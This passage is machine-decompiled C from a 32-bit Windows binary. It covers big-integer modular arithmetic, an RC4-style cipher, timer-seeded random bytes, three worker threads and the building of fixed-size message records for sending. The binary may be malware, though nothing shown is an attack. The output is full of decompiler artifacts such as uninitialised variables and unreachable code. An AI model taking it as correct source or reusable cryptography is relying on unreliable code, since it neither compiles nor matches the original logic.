- int32_t v59; // 0x4014e0
- char * v60;
- if (v5 < 1) {
- // 0x401462
- v60 = (char *)a1;
- v59 = v24;
- // branch -> 0x4014db
- } else {
- // 0x40146e
- v39 = (char *)a1;
- v18 = v35 - 1;
- v20 = v5;
- // branch -> 0x401474
- int32_t v61; // 0x4014cb
- while (true) {
- // 0x401474
- g7 = 4 * v20 / 32 - 812 + g2;
- v40 = function_401159(v39, v1, g3, v35);
- v29 = v20 & 31;
- v37 = v40;
- if (v29 != 0) {
- lab_bb91:
- // bb91
- v37 = v40 << v29;
- // branch -> bb92
- }
- lab_bb92:;
- int32_t * v62 = (int32_t *)g7; // 0x401499
- *v62 = *v62 | v37;
- int32_t v63 = v18 / 32; // 0x40149e
- if (v18 >= 32) {
- int32_t v64 = g3; // 0x4014be
- int32_t * v65 = (int32_t *)v64; // 0x4014aa
- int32_t v66 = v64 + 4; // 0x4014ac
- int32_t v67 = v63 - 1; // 0x4014bb
- *v65 = *(int32_t *)v66 << 31 | *v65 / 2;
- // branch -> 0x4014aa
- while (v67 != 0) {
- // 0x4014aa
- v64 = v66;
- v65 = (int32_t *)v64;
- v66 = v64 + 4;
- v67--;
- *v65 = *(int32_t *)v66 << 31 | *v65 / 2;
- // continue -> 0x4014aa
- }
- // 0x4014c5
- // branch -> 0x4014c5
- }
- int32_t * v68 = (int32_t *)(g3 + 4 * v63); // 0x4014c5
- *v68 = *v68 / 2;
- v61 = g5 - 1;
- g5 = v61;
- int32_t v69 = v20 - 1; // 0x4014cf
- if (v69 < 1) {
- // break -> 0x4014d8
- break;
- }
- v35 = v61;
- v18--;
- v20 = v69;
- // continue -> 0x401474
- }
- // 0x4014d8
- g7 = v1;
- v60 = v39;
- v59 = v1;
- v35 = v61;
- // branch -> 0x4014db
- }
- // 0x4014db
- g5 = a1;
- function_401159(v60, v59, g3, v35);
- v30 = (int32_t *)g7;
- v31 = *v30 - 1;
- if (v31 < 0) {
- // 0x401507
- result = v31 + 1;
- *v30 = result;
- // branch -> 0x40150a
- // 0x40150a
- g7 = v2;
- return result;
- }
- // 0x4014f0
- v25 = v31;
- // branch -> 0x4014f0
- int32_t v70; // 0x401504
- while (true) {
- int32_t v71 = v25; // 0x40150745
- if ((*(int32_t *)(4 * v25 / 32 + g5) >> (v25 & 31) & 1) == 0) {
- lab_0x401504:
- // 0x401504
- v70 = v25 - 1;
- if (v70 < 0) {
- // break -> 0x401507
- break;
- }
- v25 = v70;
- // continue -> 0x4014f0
- continue;
- }
- // 0x401507
- // branch -> 0x401507
- // 0x401507
- result = v71 + 1;
- *v30 = result;
- // branch -> 0x40150a
- // 0x40150a
- g7 = v2;
- return result;
- }
- // 0x401507
- // branch -> 0x401507
- // 0x401507
- result = v70 + 1;
- *v30 = result;
- // branch -> 0x40150a
- // 0x40150a
- g7 = v2;
- return result;
- }
- // .dec_label_pc_4013e1_crit_edge
- v47 = v48;
- v42 = v54;
- // branch -> 0x4013e1
- }
- }
- // 0x401407
- v43 = (int32_t *)g3;
- if (v44 != 0) {
- // bb81
- *v43 = *v43 << v44;
- // branch -> bb82
- }
- // bb82
- // branch -> 0x40140d
- }
- // 0x40140d
- if (v16 < 0) {
- // 0x40140f
- v21 = g7;
- v26 = -v16;
- if ((*(int32_t *)v21 - 1 & -32) < 1) {
- // 0x40140f
- v41 = v26 & 31;
- // branch -> 0x401453
- } else {
- // 0x401423
- v22 = g3;
- v17 = v22;
- v33 = v15 - v10 & 31;
- v34 = v26 & 31;
- v28 = v22;
- v19 = 0;
- // branch -> 0x40142f
- while (true) {
- // 0x40142f
- v36 = *(int32_t *)(v28 + 4);
- v27 = (int32_t *)v28;
- v32 = *v27;
- if (v33 == 0) {
- v23 = v36;
- goto lab_bb85;
- }
- goto lab_bb84;
- }
- }
- // 0x401453
- v38 = (int32_t *)(g3 + 4 * (*(int32_t *)v21 - 1) / 32);
- if (v41 != 0) {
- // bb88
- *v38 = *v38 >> v41;
- // branch -> bb89
- }
- // bb89
- // branch -> 0x401462
- }
- // 0x401462
- v24 = g7;
- v35 = *(int32_t *)v24;
- g5 = v35;
- if (v5 < 1) {
- // 0x401462
- // branch -> 0x4014db
- } else {
- // 0x40146e
- v39 = (char *)a1;
- v18 = v35 - 1;
- v20 = v5;
- // branch -> 0x401474
- while (true) {
- // 0x401474
- g7 = 4 * v20 / 32 - 812 + g2;
- v40 = function_401159(v39, v1, g3, v35);
- v29 = v20 & 31;
- if (v29 == 0) {
- v37 = v40;
- goto lab_bb92;
- }
- goto lab_bb91;
- }
- }
- // 0x4014db
- g5 = a1;
- function_401159((char *)a1, v24, g3, v35);
- v30 = (int32_t *)g7;
- v31 = *v30 - 1;
- if (v31 >= 0) {
- // 0x4014f0
- v25 = v31;
- // branch -> 0x4014f0
- while (true) {
- // 0x4014f0
- if ((*(int32_t *)(4 * v25 / 32 + g5) >> (v25 & 31) & 1) == 0) {
- goto lab_0x401504;
- }
- // 0x401507
- // branch -> 0x401507
- // 0x401507
- result = v25 + 1;
- *v30 = result;
- // branch -> 0x40150a
- // 0x40150a
- g7 = v2;
- return result;
- }
- }
- // 0x401507
- result = v31 + 1;
- *v30 = result;
- // branch -> 0x40150a
- // 0x40150a
- g7 = v2;
- return result;
- }
- // Address range: 0x40150e - 0x40152d
- int32_t function_40150e(int32_t * a1) {
- int32_t v1 = *a1; // 0x401515
- int32_t v2 = 30; // 0x4015223
- int32_t v3 = v1 * v1; // 0x40151c
- // branch -> 0x40151a
- while (v2 != 1) {
- // 0x40151a
- v2--;
- v1 = v3;
- v3 = v1 * v1;
- // continue -> 0x40151a
- }
- int32_t result = -((v3 * v1)); // 0x401525
- g32 = result;
- return result;
- }
- // Address range: 0x40152e - 0x401651
- int32_t function_40152e(int32_t * a1, int32_t a2, int32_t a3, int32_t a4) {
- int32_t v1 = (int32_t)a1;
- int32_t v2 = g2; // bp-4
- g2 = &v2;
- int32_t v3 = g3; // 0x401537
- int32_t v4 = g7; // 0x401538
- function_40120a(a1, a2, a3, a4, v4, v3);
- g7 = g18;
- int32_t v5 = g18 - 1; // 0x401557
- int32_t v6 = v5 / 32; // 0x40155a
- g3 = v6;
- int32_t result; // 0x401646
- if (v5 < -31) {
- // 0x40163a
- result = function_401159((char *)a1, a2, (int32_t)&g17, g18);
- g7 = v4;
- g3 = v3;
- g2 = v2;
- return result;
- }
- int32_t v7 = 0;
- // branch -> 0x401564
- int64_t v8; // bp-844
- while (true) {
- // 0x401564
- g5 = g32 * (int64_t)*a1;
- int32_t v9 = g18; // 0x4015bc
- int32_t v10 = 0;
- int32_t v11 = 0;
- if (v6 >= 0) {
- int32_t v12 = 0;
- int32_t v13 = 0;
- int32_t v14 = 4 * v13; // 0x401587
- int64_t v15 = (int64_t)*(int32_t *)(v14 + (int32_t)&g17); // 0x401587
- v8 = v15;
- int32_t v16 = (int32_t)__allmul(0, v15) + v12; // 0x401596
- int32_t v17 = g6; // 0x40159b
- g6 = v13;
- int32_t v18 = v13 + 1; // 0x4015a4
- *(int32_t *)(v14 - 812 + g2) = v16;
- int32_t v19 = (int32_t)(v16 < v12) + v17; // 0x4015b1
- while (v18 <= g3) {
- // 0x40157f
- v12 = v19;
- v13 = v18;
- v14 = 4 * v13;
- v15 = (int64_t)*(int32_t *)(v14 + (int32_t)&g17);
- v8 = v15;
- v16 = (int32_t)__allmul(0, v15) + v12;
- v17 = g6;
- g6 = v13;
- v18 = v13 + 1;
- *(int32_t *)(v14 - 812 + g2) = v16;
- v19 = (int32_t)(v16 < v12) + v17;
- // continue -> 0x40157f
- }
- // 0x4015b6
- v9 = g7;
- v10 = v19;
- v11 = v18;
- // branch -> 0x4015b6
- }
- int32_t v20 = v9 + 31; // 0x4015bc
- *(int32_t *)(4 * v11 - 812 + g2) = v10;
- int32_t v21 = v20;
- if (v20 >= 0) {
- // branch -> 0x4015ca
- int32_t v22; // 0x4015e1
- while (true) {
- // 0x4015ca
- if ((*(int32_t *)(g2 - 812 + 4 * v21 / 32) >> (v21 & 31) & 1) == 0) {
- // 0x4015e1
- v22 = v21 - 1;
- if (v22 < 0) {
- // break -> 0x4015e4
- break;
- }
- v21 = v22;
- // continue -> 0x4015ca
- continue;
- }
- // 0x4015e4
- // branch -> 0x4015e4
- }
- // 0x4015e4
- v21 = v22;
- // branch -> 0x4015e4
- }
- // 0x4015e4
- g7 = a2;
- int32_t v23; // bp-816
- function_401092(a1, a2, (int32_t)&v23, v21 + 1);
- int32_t v24 = g7; // 0x4015f9
- int32_t v25 = v24; // 0x40161e
- if ((*(int32_t *)v24 - 1 & -32) >= 1) {
- int32_t v26 = 0; // 0x40160e
- *(int32_t *)v1 = *(int32_t *)(v1 + 4);
- int32_t v27 = g7; // 0x401611
- int32_t v28 = v1 + 4; // 0x401613
- v1 = v28;
- int32_t v29 = (*(int32_t *)v27 - 1) / 32; // 0x401617
- g6 = v29;
- // branch -> 0x40160b
- while (v26 + 1 < v29) {
- // 0x40160b
- v26++;
- v1 = v28;
- *(int32_t *)v1 = *(int32_t *)(v1 + 4);
- v27 = g7;
- v28 = v1 + 4;
- v1 = v28;
- v29 = (*(int32_t *)v27 - 1) / 32;
- g6 = v29;
- // continue -> 0x40160b
- }
- // 0x40161e
- v25 = v27;
- // branch -> 0x40161e
- }
- int32_t * v30 = (int32_t *)v25; // 0x40161e
- *v30 = *v30 - 32;
- g7 = g18;
- int32_t v31 = v7 + 1; // 0x401627
- int32_t v32 = (g18 - 1) / 32; // 0x40162d
- g3 = v32;
- if (v31 > v32) {
- // break -> 0x401639
- break;
- }
- v6 = v32;
- v7 = v31;
- // continue -> 0x401564
- }
- // 0x401639
- g5 = v8;
- // branch -> 0x40163a
- // 0x40163a
- result = function_401159((char *)a1, a2, (int32_t)&g17, g18);
- g7 = v4;
- g3 = v3;
- g2 = v2;
- return result;
- }
- // Address range: 0x401652 - 0x401731
- int32_t function_401652(void) {
- // 0x401652
- int32_t v1; // bp-1608
- int32_t v2 = &v1; // 0x401655
- v1 = 0;
- int32_t v3 = g3; // 0x401668
- int32_t v4 = g7; // 0x401669
- int32_t v5 = 0; // bp-1604
- g5 = &v5;
- _memset((char *)&v5, 0, 399);
- int32_t v6;
- int32_t v7 = *(int32_t *)v6; // 0x401683
- g3 = v7;
- int32_t v8 = (g18 - 1) / 32 + 1; // 0x401685
- int32_t v9 = v7 - 1; // 0x401686
- int32_t v10;
- if (v9 >= 0xffffffe1) {
- int32_t v11 = 4 * v8 - 1604 + g2; // 0x401691
- g5 = v11;
- _memcpy((char *)v11, (char *)v10, v9 / 32 + 1);
- v7 = g3;
- // branch -> bb
- }
- // bb
- g7 = &g17;
- int32_t v12 = 32 * v8 + v7; // bp-8
- function_401337(v2, &v12, (int32_t)&g17, g18);
- int32_t result = function_40150e((int32_t *)g7); // eax
- g5 = v10;
- g7 = v6;
- g3 = 1;
- *(int32_t *)v10 = 1;
- *(int32_t *)g7 = g3;
- int32_t result2;
- if (result2 < 1) {
- // .dec_label_pc_40172d_crit_edge
- // branch -> 0x40172d
- // 0x40172d
- g7 = v4;
- g3 = v3;
- return result;
- }
- int32_t v13 = 0;
- while (true) {
- uint32_t v14 = v13 & 31; // 0x4016e2
- int32_t v15;
- int32_t v16 = *(int32_t *)(4 * v13 / 32 + v15); // 0x4016e8
- int32_t v17 = v16; // 0x4016ed
- if (v14 != 0) {
- // bb25
- v17 = v16 >> v14;
- // branch -> bb26
- }
- // bb26
- if ((char)(g3 & v17) != 0) {
- // 0x4016f1
- function_40152e((int32_t *)g5, g7, v2, v12);
- // branch -> 0x401705
- }
- // 0x401705
- function_40152e(&v1, (int32_t)&v12, v2, v12);
- int32_t v18 = v13 + 1; // 0x401722
- if (v18 == result2) {
- // break -> 0x40172d
- break;
- }
- v13 = v18;
- // continue -> 0x4016da
- }
- // 0x40172d
- g7 = v4;
- g3 = v3;
- return result2;
- }
- // Address range: 0x401732 - 0x4017d4
- int32_t function_401732(void) {
- // 0x401732
- g1 = 0x10228;
- function_404b20();
- int32_t v1 = g3; // 0x40173f
- int32_t lpPerformanceCount = g7; // bp-12
- int32_t v2 = 0; // esi
- int32_t v3 = 0; // 0x401744
- // branch -> 0x401744
- int32_t v4; // edx
- while (true) {
- // 0x401744
- *(char *)(v3 - 0x10228 + g2) = 0;
- int32_t v5 = v2; // 0x40174c
- char * v6 = (char *)(g2 - 0x10228 + v5); // 0x40174c
- int32_t v7 = v5 & 1;
- int32_t v8 = g3 & -256 | (int32_t)*v6; // 0x4017656
- int32_t v9 = 0; // 0x4017674
- // branch -> 0x40175c
- int32_t v10; // 0x401765
- int32_t v11; // 0x401760
- while (true) {
- // 0x40175c
- if (v9 == 0) {
- // .thread
- v8 ^= v7;
- v9 = 1;
- // branch -> 0x40175c
- continue;
- } else {
- // bb
- v11 = v5 >> v9;
- v10 = v11 & 1 ^ v8;
- int32_t v12 = v9 + 1; // 0x401767
- if (v12 == 16) {
- // break -> 0x40176d
- break;
- }
- v8 = v10;
- v9 = v12;
- // continue -> 0x40175c
- continue;
- }
- }
- // 0x40176d
- v4 = v11 & -255;
- g3 = v10;
- v2 = v5 + 1;
- *v6 = (char)v10;
- int32_t v13 = v2; // 0x401770
- if (v13 >= 0x10000) {
- // break -> 0x401778
- break;
- }
- v3 = v13;
- // continue -> 0x401744
- }
- int32_t v14 = 544; // ebx
- QueryPerformanceCounter((struct _LARGE_INTEGER *)&lpPerformanceCount);
- int32_t v15 = 0; // 0x401791
- int32_t v16 = v15 + 1; // 0x401791
- unsigned char v17 = *(char *)((lpPerformanceCount & 0xffff) - 0x10228 + g2); // 0x401794
- *(char *)(v15 - 552 + g2) = v17;
- // branch -> 0x40177f
- while (v16 < v14) {
- // 0x40177f
- QueryPerformanceCounter((struct _LARGE_INTEGER *)&lpPerformanceCount);
- v15 = v16;
- v16 = v15 + 1;
- v17 = *(char *)((lpPerformanceCount & 0xffff) - 0x10228 + g2);
- *(char *)(v15 - 552 + g2) = v17;
- // continue -> 0x40177f
- }
- // 0x4017a4
- char * v18;
- int32_t v19 = (int32_t)v18; // 0x4017a4
- int32_t v20 = 0; // ecx
- // branch -> 0x4017a9
- lab_0x4017a9:;
- int32_t result; // 0x4017cb
- while (true) {
- // 0x4017a9
- *(char *)v19 = 0;
- int32_t v21 = v20; // 0x4017ac
- int32_t v22 = v21 + 8; // 0x4017ac
- v2 = v22;
- if (v21 < 0x7ffffff8) {
- while (true) {
- char * v23 = (char *)v19; // 0x4017b5
- int32_t v24 = (int32_t)(2 * *v23) | v21 & -256; // 0x4017be
- v20 = v24;
- int32_t v25 = (int32_t)*(char *)(v21 - 552 + g2) | v24; // 0x4017b7
- v4 = v25 & 255 | v4 & -256;
- *v23 = (char)v25;
- if (v21 + 1 < v22) {
- // 0x4017b5
- v22 = v2;
- v21 = v20;
- // branch -> 0x4017b5
- continue;
- } else {
- // 0x4017c9
- v22 = v2;
- // branch -> 0x4017c9
- // 0x4017c9
- v20 = v22;
- result = v19 + 1;
- if (v22 >= v14) {
- // break (via goto) -> 0x4017d0
- goto lab_0x4017d0;
- }
- v19 = result;
- // continue (via goto) -> 0x4017a9
- goto lab_0x4017a9;
- }
- }
- // 0x4017d0
- int32_t v26; // bp-16
- int32_t v27 = v26; // 0x4017d0
- int32_t v28 = v27; // edi
- int32_t v29 = lpPerformanceCount; // 0x4017d1
- g7 = v29;
- g3 = v1;
- return result;
- }
- // 0x4017c9
- v20 = v22;
- result = v19 + 1;
- if (v22 >= v14) {
- // break -> 0x4017d0
- break;
- }
- v19 = result;
- // continue -> 0x4017a9
- }
- lab_0x4017d0:
- // 0x4017d0
- g7 = lpPerformanceCount;
- g3 = v1;
- return result;
- }
- // Address range: 0x4017d5 - 0x4017e7
- int32_t function_4017d5(char * a1, int32_t a2) {
- // 0x4017d5
- *a1 = *(char *)a2;
- *(char *)a2 = *a1;
- return (int32_t)a1;
- }
- // Address range: 0x4017e8 - 0x4017f9
- int32_t function_4017e8(int32_t a1) {
- int32_t v1 = 0; // 0x4017ee
- *(char *)(v1 + a1) = (char)v1;
- int32_t result = 1; // 0x4017f1
- // branch -> 0x4017ea
- while (result < 256) {
- // 0x4017ea
- v1 = result;
- *(char *)(v1 + a1) = (char)v1;
- result++;
- // continue -> 0x4017ea
- }
- // 0x4017f9
- return result;
- }
- // Address range: 0x4017fa - 0x40181d
- int32_t function_4017fa(int32_t a1, int32_t a2) {
- int32_t v1 = 0; // 0x401810
- int64_t v2 = v1; // 0x401803
- char result = *(char *)((int32_t)((0x100000000 * v2 | v2) % 64) + a2); // 0x401809
- *(char *)(v1 + a1) = result;
- int32_t v3 = 1; // 0x401813
- // branch -> 0x4017fd
- while (v3 < 256) {
- // 0x4017fd
- v1 = v3;
- v2 = v1;
- result = *(char *)((int32_t)((0x100000000 * v2 | v2) % 64) + a2);
- *(char *)(v1 + a1) = result;
- v3++;
- // continue -> 0x4017fd
- }
- // 0x40181c
- return result;
- }
- // Address range: 0x40181e - 0x401862
- int32_t function_40181e(char * a1, int32_t a2) {
- int32_t v1 = g7; // 0x401822
- int32_t v2 = (int32_t)a1; // 0x401823
- g7 = v2;
- int32_t v3 = v2; // 0x401850
- unsigned char v4 = *(char *)(a2 - v2 + v3); // 0x401835
- char * v5 = (char *)v3; // 0x401839
- g4 = 256;
- int64_t v6 = (int32_t)v4 + (int32_t)*v5; // 0x401846
- int32_t v7 = (0x100000000 * v6 | v6) % 256; // 0x401846
- g6 = v7;
- int32_t result = function_4017d5(v5, v7 + v2); // 0x401851
- int32_t v8 = g7 + 1; // 0x401857
- g7 = v8;
- int32_t v9 = 255; // 0x401858
- // 0x40185e
- g7 = v1;
- // branch -> 0x401835
- while (v9 != 0) {
- // 0x401835
- // 0x401835
- v3 = v8;
- v4 = *(char *)(a2 - v2 + v3);
- v5 = (char *)v3;
- g4 = 256;
- v6 = (int32_t)v4 + v7 + (int32_t)*v5;
- v7 = (0x100000000 * v6 | v6) % 256;
- g6 = v7;
- result = function_4017d5(v5, v7 + v2);
- v8 = g7 + 1;
- g7 = v8;
- v9--;
- // 0x40185e
- g7 = v1;
- // branch -> 0x401835
- }
- return result;
- }
- // Address range: 0x401863 - 0x4018af
- int32_t function_401863(int32_t a1, int32_t a2) {
- // 0x401863
- char v1; // bp-260
- int32_t v2 = &v1; // 0x401866
- v1 = 0;
- int16_t v3; // bp-259
- int32_t v4 = &v3; // 0x401879
- _memset((char *)&v3, 0, 63);
- v3 = 0;
- int32_t v5 = v4 + 2; // 0x401884
- *(char *)v5 = 0;
- g5 = v5 + 1;
- function_4017e8(a1);
- function_4017fa(v2, a2);
- return function_40181e((char *)a1, v2);
- }
- // Address range: 0x4018b0 - 0x401966
- int32_t function_4018b0(void) {
- // 0x4018b0
- int32_t v1; // bp-272
- int32_t v2 = &v1; // 0x4018b3
- int32_t v3 = g3; // 0x4018b9
- int32_t v4 = g5; // 0x4018ba
- g3 = 0;
- int16_t v5; // bp-271
- int32_t v6 = &v5; // 0x4018c2
- v1 = 0;
- _memset((char *)&v5, 0, 63);
- v5 = 0;
- int32_t v7 = v6 + 2; // 0x4018d3
- *(char *)v7 = 0;
- g5 = v7 + 1;
- int64_t v8 = 63; // 0x4018dd
- function_401863(v2, (int32_t)v8);
- int32_t v9 = g3; // 0x4018e5
- g4 = v8;
- int32_t v10;
- if (v10 > v9) {
- int32_t v11 = g7; // 0x4018f1
- g7 = 256;
- int32_t v12 = 256; // 0x4018fd
- int32_t v13 = 0; // 0x4018fc
- // branch -> 0x4018fc
- while (true) {
- int32_t v14 = v13 + 1; // 0x4018fc
- g4 = v12;
- int64_t v15 = 0x100000000 * (int64_t)(v14 >> 31) | (int64_t)v14; // 0x401900
- int64_t v16 = v12; // 0x401900
- int32_t v17 = v15 % v16; // 0x401900
- int32_t v18 = v17 - 268 + g2; // 0x401902
- char * v19 = (char *)v18; // 0x401902
- int32_t v20 = (int32_t)*v19 + v9; // 0x40190a
- int32_t v21 = (0x100000000 * (int64_t)(v20 >> 31) | (int64_t)v20) % v16; // 0x401918
- g6 = v21;
- int32_t v22 = g2 - 268 + v21; // 0x40191d
- function_4017d5(v19, v22);
- int32_t v23;
- int32_t v24 = g3 + v23; // 0x401933
- g4 = v24;
- uint32_t v25 = g7; // 0x401939
- int32_t v26 = (int32_t)*(char *)v22 % v25; // 0x40193f
- uint32_t v27 = (int32_t)*(char *)v18 + v26; // 0x401949
- unsigned char v28 = *(char *)(v27 % v25 - 268 + g2); // 0x401950
- int32_t result = (int32_t)v28 | v27 / v25 & 256; // eax
- char * v29 = (char *)v24; // 0x401957
- *v29 = *v29 ^ v28;
- int32_t v30 = v9 + 1; // 0x401959
- g3 = v30;
- if (v30 >= v10) {
- // 0x401962
- g7 = v11;
- // branch -> 0x401963
- // 0x401963
- g5 = v4;
- g3 = v3;
- return result;
- }
- // 0x4018f9
- v12 = g7;
- v13 = v17;
- v9 = v21;
- // branch -> 0x4018fc
- }
- }
- // 0x401963
- g5 = v4;
- g3 = v3;
- return 0;
- }
- // Address range: 0x401967 - 0x4019d5
- int32_t function_401967(void) {
- int32_t v1 = function_404b60(); // 0x40196c
- unsigned char v2 = *(char *)(g2 - 13); // 0x401973
- int32_t v3 = g4; // esi
- int32_t v4 = g5; // 0x40197a
- int32_t v5 = 0; // ebx
- g5 = g4 + 24;
- *(char *)(g4 + 4) = 1;
- *(int32_t *)(v3 + 20) = v5;
- *(int32_t *)(g2 - 20) = v3;
- *(char *)g5 = (char)((int32_t)v2 | v1 & -256);
- int32_t v6 = function_402e17(v5, 0, v4); // 0x401990
- g1 = v6;
- *(int32_t *)(g5 + 4) = v6;
- *(int32_t *)(g5 + 8) = v5;
- g4 = v3 + 60;
- *(int32_t *)(g2 - 4) = v5;
- g1 = function_4030a1();
- g4 = g7 + 0x9d4c;
- *(char *)(g2 - 4) = 1;
- function_403722();
- *(int32_t *)g7 = (int32_t)&g10;
- InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)(g7 + 36));
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4019d6 - 0x4019f1
- int32_t function_4019d6(char a1) {
- int32_t v1 = g7; // 0x4019d6
- g7 = g4;
- function_4019f2(v1);
- if ((a1 & 1) != 0) {
- // 0x4019e5
- __3f__3f_3_40_YAXPAX_40_Z(g7);
- // branch -> 0x4019ec
- }
- // 0x4019ec
- return g7;
- }
- // Address range: 0x4019f2 - 0x401a8a
- int32_t function_4019f2(int32_t a1) {
- // 0x4019f2
- function_404b60();
- int32_t v1 = g4; // 0x4019fc
- int32_t v2 = g7; // 0x4019fd
- g7 = v1;
- *(int32_t *)(g2 - 16) = v1;
- *(int32_t *)g7 = (int32_t)&g10;
- int32_t hHandle = *(int32_t *)(g7 + 8); // 0x401a12
- *(int32_t *)(g2 - 4) = 2;
- *(char *)(g7 + 4) = 1;
- WaitForSingleObject((int32_t *)hHandle, (int32_t)(struct _RTL_CRITICAL_SECTION *)-1);
- WaitForSingleObject((int32_t *)*(int32_t *)(g7 + 12), -1);
- WaitForSingleObject((int32_t *)*(int32_t *)(g7 + 16), -1);
- g5 = 0x6b4a;
- CloseHandle((int32_t *)*(int32_t *)(g7 + 8));
- CloseHandle((int32_t *)*(int32_t *)(g7 + 12));
- CloseHandle((int32_t *)*(int32_t *)(g7 + 16));
- struct _RTL_CRITICAL_SECTION * lpCriticalSection = (struct _RTL_CRITICAL_SECTION *)(g7 + 36); // 0x401a48
- DeleteCriticalSection(lpCriticalSection);
- g4 = g7;
- function_402d95();
- g4 = g7 + 0x9d4c;
- *(char *)(g2 - 4) = 1;
- function_40378b((int32_t)lpCriticalSection);
- *(char *)(g2 - 4) = 0;
- g4 = g7 + 60;
- function_4030e9((int32_t)lpCriticalSection);
- *(int32_t *)(g2 - 4) = -1;
- g4 = g7 + 24;
- function_402db4();
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x401a8b - 0x401b5e
- int32_t function_401a8b(char * str4, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
- char * str5 = (char *)a3; // bp+12
- char * str3 = (char *)a2;
- char * v1 = (char *)a4; // bp-8
- char * v2 = (char *)a5;
- // branch -> 0x401a9d
- int32_t v3; // 0x401b5a
- while (true) {
- int32_t str = __3f__3f_2_40_YAPAXI_40_Z(1256); // 0x401aa2
- int32_t v4 = str; // esi
- memset((int32_t *)str, 0, 1256);
- strcpy((char *)str, g21);
- int32_t str2 = (int32_t)g34; // 0x401ad6
- if (g34 == NULL) {
- // 0x401acf
- str2 = *(int32_t *)0x4060a8;
- // branch -> 0x401ad4
- }
- int32_t v5 = v4; // 0x401ad7
- strncpy((char *)(v5 + 2), (char *)str2, 64);
- strncpy((char *)(v5 + 130), (char *)*(int32_t *)&str3, 32);
- int32_t v6 = v4; // 0x401aed
- strncpy((char *)(v6 + 66), (char *)*(int32_t *)&str4, 64);
- strncpy((char *)(v6 + 162), (char *)*(int32_t *)&str5, 64);
- char * v7 = v2 < (char *)1024 ? v2 : (char *)1024;
- int32_t v8 = (int32_t)v7; // 0x401b1b
- *(int32_t *)(v4 + 228) = v8;
- int32_t v9 = *(int32_t *)&v1; // 0x401b2518
- memcpy((int32_t *)(v4 + 232), (int32_t *)v9, (int32_t)v7);
- g4 = &g50;
- int32_t v10 = function_4026e4(v4); // 0x401b3d
- v3 = v10;
- char * v11 = v2;
- if ((char)v10 != 0) {
- // 0x401b46
- v1 = (char *)(v9 + v8);
- v3 = v8;
- v11 = (char *)((int32_t)v2 - v8);
- // branch -> 0x401b4f
- }
- // 0x401b4f
- if (v11 == NULL) {
- // break -> 0x401b59
- break;
- }
- v2 = v11;
- // continue -> 0x401a9d
- }
- // 0x401b59
- return v3 & -256 | 1;
- }
- // Address range: 0x401b5f - 0x401bb5
- int32_t function_401b5f(void) {
- int32_t lpThreadId = g4; // bp-8
- int32_t lpThreadAttributes = 0; // ebx
- char * v1 = (char *)(g4 + 4); // 0x401b69
- int32_t result; // 0x401bac
- if (*v1 != 0) {
- // 0x401b6e
- *v1 = 0;
- lpThreadId = lpThreadAttributes;
- int32_t * threadHandle = CreateThread(NULL, 0, (int32_t (*)(int32_t *))0x402167, (int32_t *)g4, 0, &lpThreadId); // 0x401b88
- *(int32_t *)(g4 + 16) = (int32_t)threadHandle;
- int32_t * threadHandle2 = CreateThread((struct _SECURITY_ATTRIBUTES *)lpThreadAttributes, lpThreadAttributes, (int32_t (*)(int32_t *))0x401bb6, (int32_t *)g4, lpThreadAttributes, &lpThreadId); // 0x401b9a
- *(int32_t *)(g4 + 8) = (int32_t)threadHandle2;
- int32_t * threadHandle3 = CreateThread((struct _SECURITY_ATTRIBUTES *)lpThreadAttributes, lpThreadAttributes, (int32_t (*)(int32_t *))0x402023, (int32_t *)g4, lpThreadAttributes, &lpThreadId); // 0x401bac
- result = (int32_t)threadHandle3;
- *(int32_t *)(g4 + 12) = result;
- // branch -> 0x401bb2
- }
- // 0x401bb2
- return result;
- }
- // Address range: 0x401bb6 - 0x402022
- int32_t function_401bb6(void) {
- // 0x401bb6
- function_404b60();
- int32_t n = g3; // 0x401bc6
- char * str2 = (char *)g7; // bp-892
- int32_t v1 = *(int32_t *)(g2 + 8); // 0x401bc8
- g7 = v1;
- char * dwMilliseconds = (char *)g5; // bp-896
- if (*(int32_t *)(v1 + 20) == 0 || *(char *)(v1 + 4) != 0) {
- // 0x402010
- abort();
- // UNREACHABLE
- }
- int32_t v2 = (int32_t)&dwMilliseconds; // 0x401be0
- while (true) {
- int32_t * v3 = (int32_t *)(v2 - 4); // 0x401be0
- *v3 = 1;
- Sleep((int32_t)dwMilliseconds);
- int32_t v4 = *(int32_t *)*(int32_t *)(g7 + 20); // eax
- *v3 = 0x401bf0;
- __pseudo_call(*(int32_t *)(v4 + 12));
- int32_t v5 = v4; // 0x401bf0
- if ((char)v5 != 0) {
- unsigned char v6 = *(char *)(g2 + 11); // 0x401bf4
- int32_t v7 = 0; // ebx
- *(int32_t *)(g8 - 4) = 0;
- *(char *)(g2 - 40) = (char)((int32_t)v6 | v5 & -256);
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
- int32_t v8 = &g24; // edi
- *(int32_t *)(g2 - 4) = v7;
- *(int32_t *)(g8 - 4) = v8;
- *(int32_t *)g8 = strlen(dwMilliseconds);
- *(int32_t *)(g8 - 4) = v8;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2);
- *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
- *(int32_t *)(g8 - 8) = v7;
- *(int32_t *)(g8 - 12) = (int32_t)&g33;
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z();
- *(int32_t *)(g8 - 4) = v8;
- *(int32_t *)g8 = strlen(dwMilliseconds);
- *(int32_t *)(g8 - 4) = v8;
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2);
- char * v9 = (char *)(g2 - 96); // 0x401c48
- *v9 = (char)v7 & *v9;
- v4 = 0;
- int32_t v10 = g2 - 95; // 0x401c4d
- *(int32_t *)v10 = 0;
- int32_t v11 = v10 + 4; // 0x401c50
- *(int32_t *)v11 = v4;
